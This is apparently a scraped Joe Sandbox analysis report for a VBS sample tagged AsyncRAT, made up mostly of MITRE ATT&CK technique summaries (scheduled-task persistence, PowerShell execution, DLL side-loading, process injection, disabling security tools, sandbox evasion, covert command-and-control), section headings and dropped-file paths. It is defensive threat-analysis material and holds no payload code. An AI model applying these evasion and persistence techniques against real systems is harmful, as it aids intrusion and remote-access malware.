Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report vr65co3Boo.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_anttd1xw.vy5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3v0lstm.sb5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pa5ysdpk.0oi.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vrchnfcv.p12.psm1

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
vr65co3Boo.vbs

Function 025F2074 Relevance: 1.6, APIs: 1, Instructions: 77
libraryCOMMON

Function 025F2080 Relevance: 1.6, APIs: 1, Instructions: 71
libraryCOMMON

Function 025F22D1 Relevance: 1.6, APIs: 1, Instructions: 65
memoryCOMMON

Function 025F22D8 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre